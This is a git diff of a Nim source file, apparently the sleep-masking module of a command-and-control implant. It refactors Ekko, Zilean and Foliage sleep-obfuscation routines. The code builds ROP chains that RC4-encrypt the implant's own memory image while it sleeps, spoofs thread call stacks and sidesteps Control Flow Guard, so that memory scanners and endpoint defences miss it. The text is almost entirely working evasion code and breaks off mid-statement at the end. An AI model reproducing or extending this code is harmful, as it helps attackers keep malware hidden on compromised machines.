diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index a85a4b7..2c371fb 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -28,26 +28,62 @@ type PPS_APC_ROUTINE = ptr PS_APC_ROUTINE # Required APIs (definitions taken from NtDoc) -# Ekko/Zilean -proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} -proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} -proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} -proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} -proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").} -proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} -proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").} -proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} +type + # Ekko/Zilean + RtlCreateTimerQueue = proc(phTimerQueueHandle: PHANDLE): NTSTATUS {.stdcall.} + RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.} + NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.} + RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.} + RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.} + NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.} + NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.} + NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.} + # Foliage + NtCreateThreadEx = proc(threadHandle: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, processHandle: HANDLE, startRoutine: PVOID, argument: PVOID, createFlags: ULONG, zeroBits: ULONG, stackSize: ULONG, maximumStackSize: ULONG, attributeList: PVOID): NTSTATUS {.stdcall.} + NtGetContextThread = proc(threadHandle: HANDLE, context: PCONTEXT): NTSTATUS {.stdcall.} + NtQueueApcThread = proc(threadHandle: HANDLE, apcRoutine: PPS_APC_ROUTINE, apcArgument1: PVOID, apcArgument2: PVOID, apcArgument3: PVOID): NTSTATUS {.stdcall.} + NtAlertResumeThread = proc(threadHandle: HANDLE, suspendCount: PULONG): NTSTATUS {.stdcall.} + NtTestAlert = proc(): NTSTATUS {.stdcall.} -# Foliage -proc NtCreateThreadEx(threadHandle: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, processHandle: HANDLE, startRoutine: PVOID, argument: PVOID, createFlags: ULONG, zeroBits: ULONG, stackSize: ULONG, maximumStackSize: ULONG, attributeList: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateThreadEx"), dynlib: protect("ntdll.dll").} -proc NtGetContextThread(threadHandle: HANDLE, context: PCONTEXT): NTSTATUS {.cdecl, stdcall, importc: protect("NtGetContextThread"), dynlib: protect("ntdll.dll").} -proc NtQueueApcThread(threadHandle: HANDLE, apcRoutine: PPS_APC_ROUTINE, apcArgument1: PVOID, apcArgument2: PVOID, apcArgument3: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtQueueApcThread"), dynlib: protect("ntdll.dll").} -proc NtAlertResumeThread(threadHandle: HANDLE, suspendCount: PULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtAlertResumeThread"), dynlib: protect("ntdll.dll").} -proc NtTestAlert(): NTSTATUS {.cdecl, stdcall, importc: protect("NtTestAlert"), dynlib: protect("ntdll.dll").} + Apis = object + RtlCreateTimerQueue: RtlCreateTimerQueue + RtlDeleteTimerQueue: RtlDeleteTimerQueue + NtCreateEvent: NtCreateEvent + RtlCreateTimer: RtlCreateTimer + RtlRegisterWait: RtlRegisterWait + NtSignalAndWaitForSingleObject: NtSignalAndWaitForSingleObject + NtSetEvent: NtSetEvent + NtDuplicateObject: NtDuplicateObject + NtCreateThreadEx: NtCreateThreadEx + NtGetContextThread: NtGetContextThread + NtQueueApcThread: NtQueueApcThread + NtAlertResumeThread: NtAlertResumeThread + NtTestAlert: NtTestAlert + NtContinue: PVOID + SystemFunction032: PVOID + +proc initApis(): Apis = + + let hNtdll = GetModuleHandleA(protect("ntdll")) + + result.RtlCreateTimerQueue = cast[RtlCreateTimerQueue](GetProcAddress(hNtdll, protect("RtlCreateTimerQueue"))) + result.RtlDeleteTimerQueue = cast[RtlDeleteTimerQueue](GetProcAddress(hNtdll, protect("RtlDeleteTimerQueue"))) + result.NtCreateEvent = cast[NtCreateEvent](GetProcAddress(hNtdll, protect("NtCreateEvent"))) + result.RtlCreateTimer = cast[RtlCreateTimer](GetProcAddress(hNtdll, protect("RtlCreateTimer"))) + result.RtlRegisterWait = cast[RtlRegisterWait](GetProcAddress(hNtdll, protect("RtlRegisterWait"))) + result.NtSignalAndWaitForSingleObject = cast[NtSignalAndWaitForSingleObject](GetProcAddress(hNtdll, protect("NtSignalAndWaitForSingleObject"))) + result.NtSetEvent = cast[NtSetEvent](GetProcAddress(hNtdll, protect("NtSetEvent"))) + result.NtDuplicateObject = cast[NtDuplicateObject](GetProcAddress(hNtdll, protect("NtDuplicateObject"))) + result.NtCreateThreadEx = cast[NtCreateThreadEx](GetProcAddress(hNtdll, protect("NtCreateThreadEx"))) + result.NtGetContextThread = cast[NtGetContextThread](GetProcAddress(hNtdll, protect("NtGetContextThread"))) + result.NtQueueApcThread = cast[NtQueueApcThread](GetProcAddress(hNtdll, protect("NtQueueApcThread"))) + result.NtAlertResumeThread = cast[NtAlertResumeThread](GetProcAddress(hNtdll, protect("NtAlertResumeThread"))) + result.NtTestAlert = cast[NtTestAlert](GetProcAddress(hNtdll, protect("NtTestAlert"))) + result.NtContinue = GetProcAddress(hNtdll, protect("NtContinue")) + result.SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) # Function for retrieving a random thread's thread context for stack spoofing proc GetRandomThreadCtx(): CONTEXT = - var ctx: CONTEXT hSnapshot: HANDLE @@ -85,165 +121,19 @@ proc GetRandomThreadCtx(): CONTEXT = echo protect("[-] No suitable thread for stack duplication found.") return ctx -# FOLIAGE sleep obfuscation based on Asynchronous Procedure Calls -proc sleepFoliage*(sleepDelay: int) = +#[ + Ekko sleep obfuscation based on Timers API using RtlCreateTimer +]# +proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) = var status: NTSTATUS = 0 - img: USTRING = USTRING(Length: 0) - key: USTRING = USTRING(Length: 0) - ctx: array[7, CONTEXT] - ctxInit: CONTEXT - hEventSync: HANDLE - oldProtection: ULONG - hThread: HANDLE - - try: - var - NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue")) - SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) - - # Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG - discard evadeCFG(NtContinue) - - # Locate image base and size - var imageBase = GetModuleHandleA(NULL) - var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage - - img.Buffer = cast[PVOID](imageBase) - img.Length = imageSize - - # Generate random encryption key - var keyBuffer: string = Bytes.toString(generateBytes(Key16)) - key.Buffer = keyBuffer.addr - key.Length = cast[DWORD](keyBuffer.len()) - - # Start synchronization event - status = NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) - - # Start suspended thread where the APC calls will be queued and executed - status = NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) - echo fmt"[*] [{hThread.repr}] Thread created " - - ctxInit.ContextFlags = CONTEXT_FULL - status = NtGetContextThread(hThread, addr ctxInit) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtGetContextThread " & $status.toHex()) - - # NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them. - # NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread. - cast[ptr PVOID](ctxInit.Rsp)[] = cast[PVOID](NtTestAlert) - - # Preparing the ROP chain - for i in 0 ..< ctx.len(): - copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - - var gadget = 0 - - # ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered. - ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject) - ctx[gadget].Rcx = cast[DWORD64](hEventSync) - ctx[gadget].Rdx = cast[DWORD64](FALSE) - ctx[gadget].R8 = cast[DWORD64](NULL) - inc gadget - - # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] - ctx[gadget].Rip = cast[DWORD64](VirtualProtect) - ctx[gadget].Rcx = cast[DWORD64](imageBase) - ctx[gadget].Rdx = cast[DWORD64](imageSize) - ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE) - ctx[gadget].R9 = cast[DWORD64](addr oldProtection) - inc gadget - - # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - ctx[gadget].Rip = cast[DWORD64](SystemFunction032) - ctx[gadget].Rcx = cast[DWORD64](addr img) - ctx[gadget].Rdx = cast[DWORD64](addr key) - inc gadget - - # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess()) - ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) - ctx[gadget].R8 = cast[DWORD64](FALSE) - inc gadget - - # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - ctx[gadget].Rip = cast[DWORD64](SystemFunction032) - ctx[gadget].Rcx = cast[DWORD64](addr img) - ctx[gadget].Rdx = cast[DWORD64](addr key) - inc gadget - - # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] - ctx[gadget].Rip = cast[DWORD64](VirtualProtect) - ctx[gadget].Rcx = cast[DWORD64](imageBase) - ctx[gadget].Rdx = cast[DWORD64](imageSize) - ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) - ctx[gadget].R9 = cast[DWORD64](addr oldProtection) - inc gadget - - # ctx[6] contains the final call, which exits the created thread after all APC calls have been executed. - ctx[gadget].Rip = cast[DWORD64](ExitThread) - ctx[gadget].Rcx = cast[DWORD64](0) - - # Queueing the chain - for i in 0 .. gadget: - status = NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtQueueApcThread " & $status.toHex()) - - # Start sleep obfuscation - status = NtAlertResumeThread(hThread, NULL) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) - - echo protect("[*] Sleep obfuscation start.") - - status = NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) - - echo protect("[*] Sleep obfuscation end.") - - except CatchableError as err: - sleep(sleepDelay) - echo protect("[-] "), err.msg - - finally: - if hEventSync != 0: - CloseHandle(hEventSync) - hEventSync = 0 - if hThread != 0: - CloseHandle(hThread) - hThread = 0 - -# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean) -proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: var bool = true) = - - echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]." - - if sleepDelay == 0: - return - - if mode == FOLIAGE: - sleepFoliage(sleepDelay) - return - - var - status: NTSTATUS = 0 - img: USTRING = USTRING(Length: 0) - key: USTRING = USTRING(Length: 0) ctx: array[10, CONTEXT] ctxInit: CONTEXT ctxBackup: CONTEXT ctxSpoof: CONTEXT hThread: HANDLE hEventTimer: HANDLE - hEventWait: HANDLE hEventStart: HANDLE hEventEnd: HANDLE queue: HANDLE @@ -251,75 +141,40 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt oldProtection: DWORD = 0 delay: DWORD = 0 - try: - var - NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue")) - SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) - - # Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG - discard evadeCFG(NtContinue) - - # Locate image base and size - var imageBase = GetModuleHandleA(NULL) - var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage - # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" - - img.Buffer = cast[PVOID](imageBase) - img.Length = imageSize - - # Generate random encryption key - var keyBuffer: string = Bytes.toString(generateBytes(Key16)) - key.Buffer = keyBuffer.addr - key.Length = cast[DWORD](keyBuffer.len()) - - # Sleep obfuscation implementation using Windows Native API functions + try: # Create timer queue - if mode == EKKO: - status = RtlCreateTimerQueue(addr queue) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex()) + status = apis.RtlCreateTimerQueue(addr queue) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex()) + defer: discard apis.RtlDeleteTimerQueue(queue) # Create events - status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventTimer) - if mode == ZILEAN: - status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventStart) - status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventEnd) - status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + # Retrieve the initial thread context + delay += 100 + status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex()) + + # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming + delay += 100 + status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) - - if mode == EKKO: - # Retrieve the initial thread context - delay += 100 - status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex()) - - # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming - delay += 100 - status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex()) - - elif mode == ZILEAN: - delay += 100 - status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex()) - - delay += 100 - status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex()) + raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex()) # Wait for events to finish before continuing status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) @@ -336,9 +191,10 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt spoofStack = false if spoofStack: - status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) + status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) if status != STATUS_SUCCESS: raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + defer: CloseHandle(hThread) # Preparing the ROP chain # Initially, each element in this array will have the same context as the timer's thread context @@ -358,14 +214,14 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] ctx[gadget].Rip = cast[DWORD64](VirtualProtect) - ctx[gadget].Rcx = cast[DWORD64](imageBase) - ctx[gadget].Rdx = cast[DWORD64](imageSize) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE) ctx[gadget].R9 = cast[DWORD64](addr oldProtection) inc gadget # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - ctx[gadget].Rip = cast[DWORD64](SystemFunction032) + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) ctx[gadget].Rcx = cast[DWORD64](addr img) ctx[gadget].Rdx = cast[DWORD64](addr key) inc gadget @@ -392,7 +248,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt inc gadget # ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - ctx[gadget].Rip = cast[DWORD64](SystemFunction032) + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) ctx[gadget].Rcx = cast[DWORD64](addr img) ctx[gadget].Rdx = cast[DWORD64](addr key) inc gadget @@ -406,14 +262,14 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt # ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X] ctx[gadget].Rip = cast[DWORD64](VirtualProtect) - ctx[gadget].Rcx = cast[DWORD64](imageBase) - ctx[gadget].Rdx = cast[DWORD64](imageSize) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) ctx[gadget].R9 = cast[DWORD64](addr oldProtection) inc gadget # ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - ctx[gadget].Rip = cast[DWORD64](NtSetEvent) + ctx[gadget].Rip = cast[DWORD64](apis.NtSetEvent) ctx[gadget].Rcx = cast[DWORD64](hEventEnd) ctx[gadget].Rdx = cast[DWORD64](NULL) @@ -421,19 +277,181 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt for i in 0 .. gadget: delay += 100 - if mode == EKKO: - status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) + status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) - elif mode == ZILEAN: - status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) + echo protect("[*] Sleep obfuscation start.") + + status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + + echo protect("[*] Sleep obfuscation end.") + + except CatchableError as err: + sleep(sleepDelay) + echo protect("[-] "), err.msg + + +#[ + Zilean sleep obfuscation based on Timers API using RtlRegisterWait +]# +proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) = + var + status: NTSTATUS = 0 + ctx: array[10, CONTEXT] + ctxInit: CONTEXT + ctxBackup: CONTEXT + ctxSpoof: CONTEXT + hThread: HANDLE + hEventTimer: HANDLE + hEventWait: HANDLE + hEventStart: HANDLE + hEventEnd: HANDLE + timer: HANDLE + oldProtection: DWORD = 0 + delay: DWORD = 0 + + try: + # Create events + status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventTimer) + + status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventWait) + + status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventStart) + + status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + defer: CloseHandle(hEventEnd) + + delay += 100 + status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex()) + + delay += 100 + status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex()) + + # Wait for events to finish before continuing + status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) + + if spoofStack: + # Stack duplication + # Create handle to the current process + # Retrieve a random thread context from the current process + ctxSpoof = GetRandomThreadCtx() + if ctxSpoof == cast[CONTEXT](0): + # If no suitable thread is found for stack spoofing, continue without it + spoofStack = false + + if spoofStack: + status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + defer: CloseHandle(hThread) + + # Preparing the ROP chain + # Initially, each element in this array will have the same context as the timer's thread context + for i in 0 ..< ctx.len(): + copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer + + var gadget = 0 + + # ROP Chain + # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. + ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject) + ctx[gadget].Rcx = cast[DWORD64](hEventStart) + ctx[gadget].Rdx = cast[DWORD64](FALSE) + ctx[gadget].R8 = cast[DWORD64](NULL) + inc gadget + + # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) + ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget + + # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget + + if spoofStack: + # ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration. + ctxBackup.ContextFlags = CONTEXT_ALL + ctx[gadget].Rip = cast[DWORD64](GetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup) + inc gadget + + # ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context. + ctx[gadget].Rip = cast[DWORD64](SetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof) + inc gadget + + # ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[gadget].R8 = cast[DWORD64](FALSE) + inc gadget + + # ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget + + if spoofStack: + # ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup. + ctx[gadget].Rip = cast[DWORD64](SetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup) + inc gadget + + # ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X] + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](img.Buffer) + ctx[gadget].Rdx = cast[DWORD64](img.Length) + ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget + + # ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + ctx[gadget].Rip = cast[DWORD64](apis.NtSetEvent) + ctx[gadget].Rcx = 